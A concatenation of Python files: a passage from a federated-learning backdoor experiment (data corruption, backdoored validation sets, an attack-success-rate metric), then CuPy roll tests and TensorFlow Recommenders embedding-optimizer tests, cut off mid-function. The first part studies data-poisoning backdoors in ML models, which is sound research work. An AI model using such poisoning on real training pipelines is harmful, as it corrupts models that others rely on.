_get_iid_subsamples_indices(y_test, num_of_sample, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') x_val_dict, y_val_dict = _create_backdoor_subsamples(sample_dict_test, x_test, y_test, 'x_val', 'y_val', cor_label_idx, target_label, cor_local_ratio, cor_data_ratio, dataset) if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict, x_val_dict, y_val_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict, x_val_dict, y_val_dict def create_dataloader(x_train, y_train, x_test, y_test, batch_size, dataset='mnist'): train_data = None test_data = None if dataset=='mnist': if x_train != None and y_train != None: train_data = DataLoader(TensorDataset(x_train, y_train), batch_size=batch_size, shuffle=True) if x_test != None and y_test != None: test_data = DataLoader(TensorDataset(x_test, y_test), batch_size=1) elif dataset=='fmnist': workers=4 transform = transforms.Compose([transforms.ToPILImage(), transforms.Resize((35, 35)), transforms.ToTensor()]) if x_train != None and y_train != None: train_dataset = CustomTensorDataset(tensors=(x_train, y_train), transform=transform) train_data = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, # num_workers=workers, pin_memory=True ) if x_test != None and y_test != None: test_dataset = CustomTensorDataset(tensors=(x_test, y_test), transform=transform) test_data = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, shuffle=False, # num_workers=workers, pin_memory=True ) elif dataset=='cifar10': workers=4 normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) train_transform = transforms.Compose([transforms.ToPILImage(), transforms.RandomHorizontalFlip(), transforms.RandomCrop(32, 4), transforms.ToTensor(), normalize ]) test_transform = transforms.Compose([transforms.ToPILImage(), transforms.ToTensor(), normalize ]) if x_train != None and y_train != None: train_dataset = CustomTensorDataset(tensors=(x_train, y_train), transform=train_transform) train_data = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, # num_workers=workers, pin_memory=True ) if x_test != None and y_test != None: test_dataset = CustomTensorDataset(tensors=(x_test, y_test), transform=test_transform) test_data = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, shuffle=False, # num_workers=workers, pin_memory=True ) return train_data, test_data def cal_entropy(data): return entropy(data, base=len(data)) def cal_asr(model, test_y_dict, valid_X_dict, valid_y_dict, target_label, dataset='mnist'): s_cnt = 0 t_cnt = 0 for i, (y, v_x, v_y) in enumerate(zip(test_y_dict, valid_X_dict, valid_y_dict)): te_y = test_y_dict[y] val_X = valid_X_dict[v_x].float() val_y = valid_y_dict[v_y] if dataset == 'cifar10': normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) test_transform = transforms.Compose([ transforms.ToPILImage(), transforms.ToTensor(), normalize ]) val_dataset = CustomTensorDataset(tensors=(val_X, val_y), transform=test_transform) val_data = torch.utils.data.DataLoader(val_dataset, batch_size=len(val_X), shuffle=False) val_X = next(iter(val_data))[0] val_y = next(iter(val_data))[1] elif dataset == 'fmnist': transform = transforms.Compose( [transforms.ToPILImage(), transforms.Resize((35, 35)), transforms.ToTensor()]) val_dataset = CustomTensorDataset(tensors=(val_X, val_y), transform=transform) val_data = torch.utils.data.DataLoader(val_dataset, batch_size=len(val_X), shuffle=False) val_X = next(iter(val_data))[0] val_y = next(iter(val_data))[1] if use_cuda: val_X = val_X.float().cuda() val_y = val_y.cuda() pred_val_y = model(val_X).argmax(dim=1) for idx in range(len(te_y)): if te_y[idx] != val_y[idx]: if int(pred_val_y[idx]) == target_label: s_cnt += 1 t_cnt += 1 if t_cnt == 0: asr = 0.0 else: asr = float(float(s_cnt) / float(t_cnt)) print('\n- Attack Success Rate: {} ({}/{})'.format(asr, s_cnt, t_cnt)) return asr def adjust_learning_rate(lr, optimizer, epoch): """Sets the learning rate to the initial LR decayed by 2 every 30 epochs""" new_lr = lr * (0.5 ** (epoch // 30)) for param_group in optimizer.param_groups: param_group['lr'] = new_lr def arg_parse(): def _str2bool(v): if v.lower() in ('yes', 'true', 't', 'y', '1'): return True elif v.lower() in ('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected.') parser = argparse.ArgumentParser() parser.add_argument('--dataset', '-d', default='mnist', dest='dataset', help='Dataset [mnist|fmnist|cifar10]') parser.add_argument('--model', '-m', default=['central', 'federate'], dest='model', nargs='*', help='Model list [central, federate]') parser.add_argument('--corrupt', '-c', default='True', dest='corrupt', help='Data Corruption [True|False]') dataset = parser.parse_args().dataset model = parser.parse_args().model corrupt = parser.parse_args().corrupt corrupt = _str2bool(corrupt) return dataset, model, not corrupt, not corrupt if __name__=='__main__': tr_X, tr_y, te_X, te_y = load_mnist_data() tr_X_iid_dict, tr_y_iid_dict, te_X_iid_dict, te_y_iid_dict = create_corrupted_iid_samples( tr_X, tr_y, te_X, te_y, cor_local_ratio=1.0, cor_label_ratio=0.2, cor_data_ratio=0.5, mode=2, num_of_sample=10, seed=1, verbose=True ) tr_X_iid_dict, tr_y_iid_dict, te_X_iid_dict, te_y_iid_dict = create_corrupted_non_iid_samples( tr_X, tr_y, te_X, te_y, cor_local_ratio=1.0, cor_minor_label_cnt=1, cor_major_data_ratio=0.2, cor_minor_data_ratio=0.5, mode=1, num_of_sample=10, seed=1, verbose=True )

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6

7ce52680d9619a5b3e700fbcba33dbc0c5505c46

2,157

py

Python

tests/cupy_tests/manipulation_tests/test_rearrange.py

PhysicsTeacher13/CHAINER

64018f7c6956c8ea42220e2e4bd55f7ff30df097

[ "BSD-3-Clause" ]

null

tests/cupy_tests/manipulation_tests/test_rearrange.py

PhysicsTeacher13/CHAINER

64018f7c6956c8ea42220e2e4bd55f7ff30df097

[ "BSD-3-Clause" ]

null

tests/cupy_tests/manipulation_tests/test_rearrange.py

PhysicsTeacher13/CHAINER

64018f7c6956c8ea42220e2e4bd55f7ff30df097

[ "BSD-3-Clause" ]

null

import unittest from cupy import testing @testing.gpu class TestRearrange(unittest.TestCase): _multiprocess_can_split_ = True @testing.for_all_dtypes() @testing.numpy_cupy_array_equal(accept_error=TypeError) def test_roll(self, xp, dtype): x = xp.arange(10, dtype) return xp.roll(x, 2) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll2(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 1) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_negative(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, -2) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_with_axis(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 1, axis=0) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_with_negative_axis(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 1, axis=-1) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_double_shift(self, xp, dtype): x = testing.shaped_arange((10,), xp, dtype) return xp.roll(x, 35) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_double_shift_with_axis(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 11, axis=0) @testing.for_all_dtypes() @testing.numpy_cupy_array_equal() def test_roll_zero_array(self, xp, dtype): x = testing.shaped_arange((), xp, dtype) return xp.roll(x, 5) @testing.for_all_dtypes() @testing.numpy_cupy_raises() def test_roll_invalid_axis(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 1, axis=2) @testing.for_all_dtypes() @testing.numpy_cupy_raises() def test_roll_invalid_negative_axis(self, xp, dtype): x = testing.shaped_arange((5, 2), xp, dtype) return xp.roll(x, 1, axis=-3)

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48,885

py

Python

tensorflow_recommenders_addons/dynamic_embedding/python/kernel_tests/dynamic_embedding_optimizer_test.py

yuanqingsunny/recommenders-addons

7fe0e213ff59fe3528e7c1877a3885cc7ca355d4

[ "Apache-2.0" ]

1

2021-07-02T07:05:54.000Z

tensorflow_recommenders_addons/dynamic_embedding/python/kernel_tests/dynamic_embedding_optimizer_test.py

xidianw3/recommenders-addons

da08e1e8c315838d901e93f15720318a7bd188fa

[ "Apache-2.0" ]

null

tensorflow_recommenders_addons/dynamic_embedding/python/kernel_tests/dynamic_embedding_optimizer_test.py

xidianw3/recommenders-addons

da08e1e8c315838d901e93f15720318a7bd188fa

[ "Apache-2.0" ]

null

# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """unit tests of dynamic embedding ops """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import glob import itertools import numpy as np import os import tensorflow as tf from tensorflow_recommenders_addons import dynamic_embedding as de from tensorflow.core.protobuf import config_pb2 from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import test_util from tensorflow.python.keras import optimizer_v2 from tensorflow.python.ops import array_ops from tensorflow.python.ops import embedding_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops import variables from tensorflow.python.platform import test from tensorflow.python.training import adadelta from tensorflow.python.training import adagrad from tensorflow.python.training import adagrad_da from tensorflow.python.training import adam from tensorflow.python.training import ftrl from tensorflow.python.training import gradient_descent from tensorflow.python.training import momentum from tensorflow.python.training import monitored_session from tensorflow.python.training import proximal_adagrad from tensorflow.python.training import proximal_gradient_descent as pgd from tensorflow.python.training import rmsprop from tensorflow.python.training import training_util # pylint: disable=missing-class-docstring # pylint: disable=missing-function-docstring def _type_converter(tf_type): mapper = { dtypes.int32: np.int32, dtypes.int64: np.int64, dtypes.float32: np.float, dtypes.float64: np.float64, } return mapper[tf_type] def _get_devices(): return ["/gpu:0" if test_util.is_gpu_available() else "/cpu:0"] def _check_device(op, expexted_device="gpu"): return expexted_device.upper() in op.device def _test_dir(temp_dir, test_name): """Create an empty dir to use for tests. Args: temp_dir: Tmp directory path. test_name: Name of the test. Returns: Absolute path to the test directory. """ test_dir = os.path.join(temp_dir, test_name) if os.path.isdir(test_dir): for f in glob.glob("%s/*" % test_dir): os.remove(f) else: os.makedirs(test_dir) return test_dir default_config = config_pb2.ConfigProto( allow_soft_placement=False, gpu_options=config_pb2.GPUOptions(allow_growth=True)) class CommonTrainableTestV1Base(object): def common_minimize_trainable(self, base_opt, test_opt, name): raise NotImplementedError def device_check(self, de): if test_util.is_gpu_available(): self.assertTrue("GPU" in de.tables[0].resource_handle.device.upper()) @test_util.deprecated_graph_mode_only def test_adadelta_minimize_trainable(self): base_opt = adadelta.AdadeltaOptimizer(1.0) test_opt = adadelta.AdadeltaOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="adadelta") @test_util.deprecated_graph_mode_only def test_adagrad_minimize_trainable(self): base_opt = adagrad.AdagradOptimizer(1.0) test_opt = adagrad.AdagradOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="adagrad") @test_util.deprecated_graph_mode_only def test_adagradda_minimize_trainable(self): base_gs = training_util.create_global_step() base_opt = adagrad_da.AdagradDAOptimizer(1.0, base_gs) test_opt = adagrad_da.AdagradDAOptimizer(1.0, base_gs) self.common_minimize_trainable(base_opt, test_opt, name="adagrad_da") @test_util.deprecated_graph_mode_only def test_ftrl_minimize_trainable(self): base_opt = ftrl.FtrlOptimizer(1.0) test_opt = ftrl.FtrlOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="ftrl") @test_util.deprecated_graph_mode_only def test_proximal_adagrad_minimize_trainable(self): base_opt = proximal_adagrad.ProximalAdagradOptimizer(1.0) test_opt = proximal_adagrad.ProximalAdagradOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="proximal_adagrad") @test_util.deprecated_graph_mode_only def test_proximalsgd_minimize_trainable(self): base_opt = pgd.ProximalGradientDescentOptimizer(1.0) test_opt = pgd.ProximalGradientDescentOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="proximal_sgd") @test_util.deprecated_graph_mode_only def test_momentum_minimize_trainable(self): base_opt = momentum.MomentumOptimizer(1.0, momentum=0.9) test_opt = momentum.MomentumOptimizer(1.0, momentum=0.9) self.common_minimize_trainable(base_opt, test_opt, name="momentum") @test_util.deprecated_graph_mode_only def test_sgd_minimize_trainable(self): base_opt = gradient_descent.GradientDescentOptimizer(1.0) test_opt = gradient_descent.GradientDescentOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="sgd") @test_util.deprecated_graph_mode_only def test_adam_minimize_trainable(self): base_opt = adam.AdamOptimizer(1.0) test_opt = adam.AdamOptimizer(1.0) self.common_minimize_trainable(base_opt, test_opt, name="adam") @test_util.deprecated_graph_mode_only def test_rmsprop_minimize_trainable(self): for centered_ in [False, True]: base_opt = rmsprop.RMSPropOptimizer(1.0, centered=centered_) test_opt = rmsprop.RMSPropOptimizer(1.0, centered=centered_) self.common_minimize_trainable(base_opt, test_opt, name="rmsprop" + str(centered_)) class CommonTrainableTestV2Base(object): def common_minimize_trainable_v2(self, base_opt, test_opt, name): raise NotImplementedError def device_check(self, de): if test_util.is_gpu_available(): self.assertTrue("GPU" in de.tables[0].resource_handle.device.upper()) @test_util.run_in_graph_and_eager_modes def test_adadelta_v2_minimize_trainable(self): if test_util.is_gpu_available(): self.skipTest("Skip GPU Test for no GPU kernel.") base_opt = optimizer_v2.adadelta.Adadelta(1.0) test_opt = optimizer_v2.adadelta.Adadelta(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="adadelta") @test_util.run_in_graph_and_eager_modes def test_adagrad_v2_minimize_trainable(self): if test_util.is_gpu_available(): self.skipTest("Skip GPU Test for no GPU kernel.") base_opt = optimizer_v2.adagrad.Adagrad(1.0) test_opt = optimizer_v2.adagrad.Adagrad(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="adagrad") @test_util.run_in_graph_and_eager_modes def test_adam_v2_minimize_trainable(self): base_opt = optimizer_v2.adam.Adam(1.0) test_opt = optimizer_v2.adam.Adam(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="adam") @test_util.run_in_graph_and_eager_modes def test_adamax_v2_minimize_trainable(self): if test_util.is_gpu_available(): self.skipTest("Skip GPU Test for GPU kernel has bug.") base_opt = optimizer_v2.adamax.Adamax(1.0) test_opt = optimizer_v2.adamax.Adamax(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="adamax") @test_util.run_in_graph_and_eager_modes def test_ftrl_v2_minimize_trainable(self): if test_util.is_gpu_available(): self.skipTest("Skip GPU Test for no GPU kernel.") base_opt = optimizer_v2.ftrl.Ftrl(1.0) test_opt = optimizer_v2.ftrl.Ftrl(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="ftrl") @test_util.run_in_graph_and_eager_modes def test_sgd_v2_minimize_trainable(self): base_opt = optimizer_v2.gradient_descent.SGD(1.0) test_opt = optimizer_v2.gradient_descent.SGD(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="sgd") @test_util.run_in_graph_and_eager_modes def test_nadam_v2_minimize_trainable(self): base_opt = optimizer_v2.nadam.Nadam(1.0) test_opt = optimizer_v2.nadam.Nadam(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="Nadam") @test_util.run_in_graph_and_eager_modes def test_rmsprop_v2_minimize_trainable(self): base_opt = optimizer_v2.rmsprop.RMSprop(1.0) test_opt = optimizer_v2.rmsprop.RMSprop(1.0) self.common_minimize_trainable_v2(base_opt, test_opt, name="rmsprop") class EmbeddingLookupTrainableV1Test(test.TestCase, CommonTrainableTestV1Base): def common_minimize_trainable(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 with self.session(use_gpu=test_util.is_gpu_available(), config=default_config) as sess: # common define raw_init_ids = [0, 1] raw_init_vals = np.random.rand(2, dim) raw_ids = [ 0, ] x = constant_op.constant(np.random.rand(dim, len(raw_ids)), dtype=d_dtype) # base graph base_var = resource_variable_ops.ResourceVariable(raw_init_vals, dtype=d_dtype) ids = constant_op.constant(raw_ids, dtype=k_dtype) pred0 = math_ops.matmul(embedding_ops.embedding_lookup([base_var], ids), x) loss0 = pred0 * pred0 base_opt_op = base_opt.minimize(loss0) # test graph embeddings = de.get_variable( "t2020-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) init_op = embeddings.upsert(init_ids, init_vals) self.evaluate(init_op) test_var, trainable = de.embedding_lookup([embeddings], ids, return_trainable=True) pred1 = math_ops.matmul(test_var, x) loss1 = pred1 * pred1 test_opt_op = test_opt.minimize(loss1, var_list=[trainable]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): sess.run(base_opt_op) # Fetch params to validate initial values self.assertAllCloseAccordingToType(raw_init_vals[raw_ids], self.evaluate(test_var)) # Run `run_step` step of sgd for _ in range(run_step): sess.run(test_opt_op) table_var = embeddings.lookup(ids) # Validate updated params self.assertAllCloseAccordingToType( self.evaluate(base_var)[raw_ids], self.evaluate(table_var), msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) class EmbeddingLookupTrainableV2Test(test.TestCase, CommonTrainableTestV2Base): def common_minimize_trainable_v2(self, base_opt, test_opt, name): de.enable_train_mode() tf.config.set_soft_device_placement(True) base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 # common define raw_init_ids = [0, 1] raw_init_vals = np.random.rand(2, dim) raw_ids = [ 0, ] # base graph def base_fn(): embeddings = resource_variable_ops.ResourceVariable(raw_init_vals, dtype=d_dtype) def loss_fn(emb): ids = constant_op.constant(raw_ids, dtype=k_dtype) pred = embedding_ops.embedding_lookup([emb], ids) return pred * pred base_opt_op = base_opt.minimize(lambda: loss_fn(embeddings), [embeddings]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(base_opt_op) return embeddings base_opt_val = self.evaluate(base_fn()) def test_fn(): embeddings = de.get_variable( "t2020-v2-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) trainables = [] init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) self.evaluate(embeddings.upsert(init_ids, init_vals)) def var_fn(): return trainables def loss_fn(x, trainables): ids = constant_op.constant(raw_ids, dtype=k_dtype) pred, trainable = de.embedding_lookup([x], ids, return_trainable=True) trainables.clear() trainables.append(trainable) return pred * pred test_opt_op = test_opt.minimize(lambda: loss_fn(embeddings, trainables), var_fn) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(test_opt_op) return embeddings.lookup(init_ids) with ops.device(_get_devices()[0]): test_opt_val = self.evaluate(test_fn()) self.assertAllCloseAccordingToType( base_opt_val, test_opt_val, msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) class EmbeddingLookupUniqueTrainableV1Test(test.TestCase, CommonTrainableTestV1Base): def common_minimize_trainable(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 with self.session(use_gpu=test_util.is_gpu_available(), config=default_config) as sess: # common define raw_init_ids = [0, 1, 2, 3, 4] raw_init_vals = np.random.rand(5, dim) raw_ids = [0, 1, 1, 2, 3, 4, 4] x = constant_op.constant(np.random.rand(dim, len(raw_ids)), dtype=d_dtype) # base graph ids = constant_op.constant(raw_ids, dtype=k_dtype) base_var = resource_variable_ops.ResourceVariable(raw_init_vals, dtype=d_dtype) unique_ids, idx = array_ops.unique(ids) unique_embeddings = embedding_ops.embedding_lookup([base_var], unique_ids) embeddings = array_ops.gather(unique_embeddings, idx) pred0 = math_ops.matmul(embeddings, x) loss0 = pred0 * pred0 base_opt_op = base_opt.minimize(loss0) # test graph embeddings = de.get_variable( "t-embedding_lookup_unique-v1-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) init_op = embeddings.upsert(init_ids, init_vals) self.evaluate(init_op) test_var, trainable = de.embedding_lookup_unique([embeddings], ids, return_trainable=True) pred1 = math_ops.matmul(test_var, x) loss1 = pred1 * pred1 test_opt_op = test_opt.minimize(loss1, var_list=[trainable]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): sess.run(base_opt_op) # Fetch params to validate initial values self.assertAllCloseAccordingToType(raw_init_vals[raw_ids], self.evaluate(test_var)) # Run `run_step` step of sgd for _ in range(run_step): sess.run(test_opt_op) table_var = embeddings.lookup(ids) # Validate updated params self.assertAllCloseAccordingToType( self.evaluate(base_var)[raw_ids], self.evaluate(table_var), msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) class EmbeddingLookupUniqueTrainableV2Test(test.TestCase, CommonTrainableTestV2Base): def common_minimize_trainable_v2(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 # common define raw_init_ids = [0, 1, 2, 3, 4] raw_init_vals = np.random.rand(5, dim) raw_ids = [0, 1, 1, 2, 3, 4, 4] # base graph def base_fn(): embeddings = resource_variable_ops.ResourceVariable(raw_init_vals, dtype=d_dtype) def loss_fn(emb): ids = constant_op.constant(raw_ids, dtype=k_dtype) unique_ids, idx = array_ops.unique(ids) unique_embeddings = embedding_ops.embedding_lookup([emb], unique_ids) pred = array_ops.gather(unique_embeddings, idx) return pred * pred base_opt_op = base_opt.minimize(lambda: loss_fn(embeddings), [embeddings]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(base_opt_op) return embeddings base_opt_val = self.evaluate(base_fn()) def test_fn(): embeddings = de.get_variable( "t2020-v2-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) trainables = [] init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) self.evaluate(embeddings.upsert(init_ids, init_vals)) def var_fn(): return trainables def loss_fn(x, trainables): ids = constant_op.constant(raw_ids, dtype=k_dtype) pred, trainable = de.embedding_lookup_unique([x], ids, return_trainable=True) trainables.clear() trainables.append(trainable) return pred * pred test_opt_op = test_opt.minimize(lambda: loss_fn(embeddings, trainables), var_fn) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(test_opt_op) return embeddings.lookup(init_ids) with ops.device(_get_devices()[0]): test_opt_val = self.evaluate(test_fn()) self.assertAllCloseAccordingToType( base_opt_val, test_opt_val, msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) class EmbeddingLookupSparseTrainableV1Test(test.TestCase, CommonTrainableTestV1Base): def common_minimize_trainable(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 config = config_pb2.ConfigProto() config.allow_soft_placement = False for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [dtypes.int64], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 raw_init_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] raw_init_vals = [[ x, ] * dim for x in [0.0, 0.1, 0.3, 0.8, 0.16, 0.25, 0.36, 0.49, 0.64, 0.81]] raw_ids = constant_op.constant([1, 3, 3, 9], dtype=k_dtype) sp_ids = sparse_tensor.SparseTensor( indices=[ [0, 0], [0, 1], [1, 0], [2, 1], ], values=raw_ids, dense_shape=[3, 2], ) x = constant_op.constant([[_x * dim] for _x in [[0.4], [0.5], [0.6]]], dtype=d_dtype) x = array_ops.reshape(x, shape=(3 * dim, 1)) # base branch with self.session(use_gpu=test_util.is_gpu_available(), config=default_config) as sess: base_var = variables.Variable( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), dtype=d_dtype, shape=[len(raw_init_ids), dim], ) base_embedding = embedding_ops.embedding_lookup_sparse(base_var, sp_ids, None, combiner="sum") base_embedding = array_ops.reshape(base_embedding, shape=[1, 3 * dim]) pred0 = math_ops.matmul(base_embedding, x) loss0 = pred0 * pred0 base_opt_op = base_opt.minimize(loss0, var_list=[base_var]) # run base self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): sess.run(base_opt_op) base_var_val = self.evaluate(base_var) # test branch with self.session(config=default_config, use_gpu=test_util.is_gpu_available()) as sess: # test var prepare embeddings = de.get_variable( "t1030-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) init_op = embeddings.upsert(init_ids, init_vals) self.evaluate(init_op) test_var, trainable = de.embedding_lookup_sparse( embeddings, sp_ids, sp_weights=None, combiner="sum", return_trainable=True, ) pred1 = math_ops.matmul(array_ops.reshape(test_var, shape=[1, 3 * dim]), x) loss1 = pred1 * pred1 test_opt_op = test_opt.minimize(loss1, var_list=[trainable]) self.evaluate(variables.global_variables_initializer()) self.assertAllCloseAccordingToType( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), self.evaluate(base_var), ) # Run `run_step` step of sgd for _ in range(run_step): sess.run(test_opt_op) if test_util.is_gpu_available(): self.assertTrue( _check_device(embeddings.tables[0].resource_handle, "GPU")) table_var_val = self.evaluate( array_ops.reshape(embeddings.lookup(init_ids), shape=[10, dim])) # Validate updated params self.assertAllCloseAccordingToType( base_var_val, table_var_val, msg="Cond:{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, dim, run_step), ) class EmbeddingLookupSparseTrainableV2Test(test.TestCase, CommonTrainableTestV2Base): def common_minimize_trainable_v2(self, base_opt, test_opt, name): de.enable_train_mode() tf.config.set_soft_device_placement(True) base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 raw_init_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] raw_init_vals = [[ x, ] * dim for x in [0.0, 0.1, 0.3, 0.8, 0.16, 0.25, 0.36, 0.49, 0.64, 0.81]] with ops.device(_get_devices()[0]): raw_ids = constant_op.constant([1, 3, 3, 9], dtype=k_dtype) sp_ids = sparse_tensor.SparseTensor( indices=[ [0, 0], [0, 1], [1, 0], [2, 1], ], values=raw_ids, dense_shape=[3, 2], ) x = constant_op.constant([[_x * dim] for _x in [[0.4], [0.5], [0.6]]], dtype=d_dtype) x = array_ops.reshape(x, shape=(dim, -1)) # # base graph def base_fn(): embeddings = variables.Variable( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), dtype=d_dtype, shape=[len(raw_init_ids), dim], ) def loss_fn(emb): embedding = embedding_ops.embedding_lookup_sparse(emb, sp_ids, None, combiner="sum") pred = math_ops.matmul(embedding, x) return pred * pred base_opt_op = base_opt.minimize(lambda: loss_fn(embeddings), [embeddings]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(base_opt_op) return embeddings base_opt_val = self.evaluate(base_fn()) def test_fn(): embeddings = de.get_variable( "t1030-v2-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) self.evaluate(embeddings.upsert(init_ids, init_vals)) trainables = [] def var_fn(): return trainables def loss_fn(emb, trainables): test_var, trainable = de.embedding_lookup_sparse( emb, 